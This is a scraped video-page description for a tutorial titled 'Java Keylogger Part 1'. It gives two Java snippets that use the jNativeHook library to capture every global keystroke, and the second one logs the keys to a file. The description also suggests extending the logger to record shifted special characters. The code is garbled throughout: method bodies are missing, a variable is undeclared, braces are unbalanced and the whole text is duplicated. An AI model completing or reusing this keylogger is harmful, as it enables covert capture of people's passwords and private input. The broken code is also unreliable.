filmov
tv
Java Keylogger Part 1

Показать описание
After processing video every time it got shaky :(
Code 1 - This is simple code it will just show you every key pressed and when you press ecape it will exit
*****************************************************************************************************************
/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
public void nativeKeyPressed(NativeKeyEvent e){
/* Terminate program when one press ESCAPE */
try{
}catch(Exception ef){}
}
}
/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
}
/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {
}
public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
} catch (NativeHookException ex) {
/* Its error */
}
/* Construct the example object and initialze native hook. */
}
}
Code 1 ends
Code 2 - This code consists of saving key pressed to a file and then exit when escape is pressed
*****************************************************************************************************************
/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
String s;
public void nativeKeyPressed(NativeKeyEvent e){
/* Terminate program when one press ESCAPE */
try{
FileWriter fw=new FileWriter(f);
}catch(Exception ef){}
}
}
/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
}
/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {
}
public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
} catch (NativeHookException ex) {
/* Its error */
}
/* Construct the example object and initialze native hook. */
}
}
Code 2 ends
The problem with the code is it will not simply record special characters like !@#$%^&*( etc, For recording special characters use shift key and then get keycode so when shift is pressed and number keys record them as !@#$%^&*() by creating a switch statement. Do not worry I will make another video for this purpose only. Enjoy :)
Code 1 - This is simple code it will just show you every key pressed and when you press ecape it will exit
*****************************************************************************************************************
/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
public void nativeKeyPressed(NativeKeyEvent e){
/* Terminate program when one press ESCAPE */
try{
}catch(Exception ef){}
}
}
/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
}
/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {
}
public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
} catch (NativeHookException ex) {
/* Its error */
}
/* Construct the example object and initialze native hook. */
}
}
Code 1 ends
Code 2 - This code consists of saving key pressed to a file and then exit when escape is pressed
*****************************************************************************************************************
/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
String s;
public void nativeKeyPressed(NativeKeyEvent e){
/* Terminate program when one press ESCAPE */
try{
FileWriter fw=new FileWriter(f);
}catch(Exception ef){}
}
}
/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
}
/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {
}
public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
} catch (NativeHookException ex) {
/* Its error */
}
/* Construct the example object and initialze native hook. */
}
}
Code 2 ends
The problem with the code is it will not simply record special characters like !@#$%^&*( etc, For recording special characters use shift key and then get keycode so when shift is pressed and number keys record them as !@#$%^&*() by creating a switch statement. Do not worry I will make another video for this purpose only. Enjoy :)
Комментарии